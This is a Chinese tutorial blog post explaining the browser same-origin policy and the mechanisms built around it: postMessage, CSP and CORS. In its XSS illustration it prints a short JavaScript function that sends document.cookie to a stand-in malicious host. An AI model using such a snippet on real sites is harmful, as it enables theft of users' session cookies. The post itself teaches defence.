浏览器页面安全-同源策略【安全篇】

在互联网中的世界是开放的,一个网页可以引入任何资源,我们自己的网站也可以加或执行别人网站中的js,音视频等文件。
但如果是绝对开放而无任何限制,也会因此会出现一些无序,混乱的局面。比如我们在一个购物网站正在购物,然后不小心打开了一个恶意网站,如果没有对应的安全措施,那这个被诱导打开的恶意网站可以做很多坏事情,比如:

  1. 修改源站点的DOM,CSSOM信息
  2. 在源站点内部插入一段js脚本
  3. 劫持用户的登录态信息,账号和密码
  4. 读取用户在源站点的Cookies、IndexDB、LocalStorage等信息
  5. 将劫持的用户信息偷偷上传至自己的服务器,再用这些信息去做其他的坏事情,比如转账,消费等操作

所以在开放的web世界中,我们需要一些对应的安全策略来保障我们的隐私和数据安全。而其中最基础,也是最核心的安全策略之一就是今天介绍的【同源策略】

同源策略

我们先看下同源的定义:方案(协议,比如HTTP / HTTPS)、主机名和端口均相同的组合的网站视为“同源”,否则视为“跨源”。
比如一个完整的URL:
在这里插入图片描述
https部分即为方案(协议),www.example.com 为主机名,443为端口

比如下面这两个URL,其协议都是https,hostname都为www.example.com 端口都为443,则这两个URL是同源的

https://www.example.com:443/foo
https://www.example.com:443

同源策略的安全限制

安全限制主要分三个方面

  1. DOM层面:同源策略限制了不同源的js对当前DOM对象的读写操作
  2. 数据层面:同源策略限制了不同源站点读取当前站点的Cookies、IndexDB、LocalStorage等数据
  3. 网络层面:同源策略限制了数据发送给非同源站点(比如XML HttpRequest、Fetch等无法请求不同源站点)

与此对应的在各个限制之上又有实际需求,也就有了对应的安全策略了。这样就可以在满足需求和安全之间寻求一个平衡点

DOM层面

以一个例子来说明。比如我们打开京东的首页,然后在控制台中输入下面代码,打开一个新的页面

window.open("https://www.jd.com/")

此时由于新打开的页面和源页面是同源的,所以我们可以在第二个页面中操作第一个页面的网站。
比如我们可以通过下面代码来修改源站点的标题

window.opener.document.title = '我被修改啦~'

在这里插入图片描述
在这里插入图片描述
如果我们打开的是其他源的页面,再进行同样的操作,会由于同源策略,操作失败。
比如我们同样在京东首页打开有道词典的页面,然后在有道页面中修改源页面的标题就会发现报如下错误:
在这里插入图片描述
在这里插入图片描述

数据层面

如果两个页面是同源的,不仅可以访问 / 修改 源页面的DOM对象,也可以获取数据,
比如我们可以通过window.opener.document.cookie来获取上一个页面的cookies,同样的,如果是非同源的,比如通过window.open打开的有道词典的页面,通过同样的方式来获取源页面的Cookie就会失败
在这里插入图片描述
在这里插入图片描述

网络层面

在默认情况下,同源策略限制了通过XML HttpRequest、Fetch等方式将站点数据发送给不同源的网站。

安全策略

如开始所述,有时候我们既要保障页面的安全,但也对上述的场景有实际需求。安全性和便利有时是相互对立的。所以要在两者之间取得权衡,既能保证页面的安全,又能满足灵活性。

跨文档消息传递机制

在默认情况下,如果两个不同源的网站,他们的DOM是不能互相通信 / 操纵的,但很多时候,我们又有此需要,在两个不同源的DOM之间进行通信,比如页面中通过iframe嵌入了其他源的网页,但两个iframe之间需要相互通信,于是浏览器就引入了跨文档信息机制,可以通过window.postMessage的javaScript接口来和不同源的DOM进行通信。
具体的文档可参考window.postMessage

内容安全策略-CSP

web世界是开放的,可以在页面中引入任何资源,但正因为如此也带来了很多问题。最常见的就是XSS攻击。
比如我们的页面被一些恶意程序劫持了(运营商劫持 / 浏览器插件…等各种劫持手段),劫持之后恶意程序会在HTML中注入一段js脚本。比如:
在这里插入图片描述
当浏览器收到html文件时,是无法区分被插入的文件是恶意的还是正常的。那这个恶意的脚本就会寄生在页面中,当用户打开页面操作时,就可以做一些坏事情。比如改变用户的搜索结果,改变链接的指向,将页面的一些敏感数据比如Cookie,IndexDB,LocalStorage等数据通过插入的jiechi.js脚本发送给服务器。比如在jiechi.js中的逻辑会弹出一个会话框,当你点击这个会话框时,就会触发jiechi.js中的点击回调,而这个回调可能干的是这个逻辑,会读取Cookie作为页面参数,来诱导你打开一个新的页面,这样这个你的cookie就会被发送到一个恶意的服务器中,这就是一个典型的XSS攻击。

function onClick(){ 
	let url = `http://bad.server.com?cookie = ${document.cookie}` 
	open(url)
}
onClick()

而同源策略是期望让我们的页面引用的资源都来自一个源,对于不是同源的文件,我们默认就是不安全的。但在实际应用开发中,我们也不可能讲所有的资源都部署在一台服务器中,这不现实,比如我们会将静态文件html, js,css 音视频部署在不同的CDN中,此时的CDN就是在另外一个域名上。所以我们在自己的网站中加载这些CDN资源时,需要同源策略对页面的资源引用有一个”口子“。让页面可以安全的引用我们自己部署在其他源的文件。
这就是CSP, CSP的核心思想就是让服务器决定浏览器可以加载那些资源,让服务器决定浏览器是否能够执行加载的JS代码。
具体的CSP策略可以参考内容安全策略(CSP)

跨域资源共享- CORS

默认情况下,我们在自己的源中如果通过XML HttpRequest、Fetch请求其他源的资源或者接口服务是会被同源策略阻止的。但我们在实际生产开发中会有这样的场景需求,为了解决这个问题,就引入了跨域资源共享-CORS,使用该机制可以进行跨域访问控制,从而使得安全的传输跨域数据。
具体的细节可以参考跨源资源共享(CORS)

总结

为了让我们的页面变得更加安全,浏览器会使用同源策略隔离不同源的DOM、网络数据、和网络通信。但我们在实际开发应用中对于上述的场景都有实际的需要,所以就需要在安全性和便利性之间取得一个平衡。既要保障安全,也要保障一定的灵活性。也就是针对每种安全限制,都有一些针对性的安全策略,具体来说如下:

  1. 两个不同源的DOM之间是不能相互通信 / 操纵的,于是在此之上引入了夸文档消息通信机制。让其可以比较安全的通信
  2. 页面中可以引用第三方资源,由此而导致的很多诸如XSS之类的问题可以通过CSP来限制
  3. 使用XML HttpRequest、Fetch都是无法进行跨域网络数据请求的,于是在此之上引入了跨域资源共享-CORS来解决此类问题

用一张图来总结如下:
在这里插入图片描述

参考文档

“同站”和“同源”
window.postMessage
内容安全策略(CSP)
跨源资源共享(CORS)

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

问白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值